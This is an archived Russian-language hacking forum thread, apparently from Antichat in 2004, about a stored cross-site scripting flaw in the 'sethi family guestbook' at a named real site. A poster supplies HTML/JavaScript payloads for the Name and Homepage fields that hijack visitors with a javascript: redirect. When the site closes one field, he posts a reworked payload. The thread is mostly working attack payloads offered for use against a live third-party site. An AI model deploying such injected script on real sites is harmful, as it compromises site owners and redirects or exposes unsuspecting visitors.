PDA

Просмотр полной версии : Уязвимость гостевой книги  sethi family guestbook

Егорыч+++
19.05.2004, 16:17
В общем в тело Name вставляем

</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE"><div id=aa>http://antichat.ru</div>[/QUOTE]<span id='postcolor'>

В тело Homepage

</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">"><a style=background-image:url(javascript:navigate(aa[0].innerText));[/QUOTE]<span id='postcolor'>

Получаем редирект на АНТИЧАТ.
Адрес скрипта http://www.sethi.org/guestbook
Егорыч+++
20.05.2004, 09:45
Сегодня зашел на из гостевую они прикрыли ввод homepage. Умники.

Вводим в имя

</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE"><div>http://antichat.ru</div><a style=background-image:url(javascript:navigate(aa[0].innerText));[/QUOTE]<span id='postcolor'>

И получаем редирект на АНТИЧАТ.
Algol
20.05.2004, 11:52
http://forum.antichat.ru/iB_html/non-cgi/emoticons/rolleyes.gif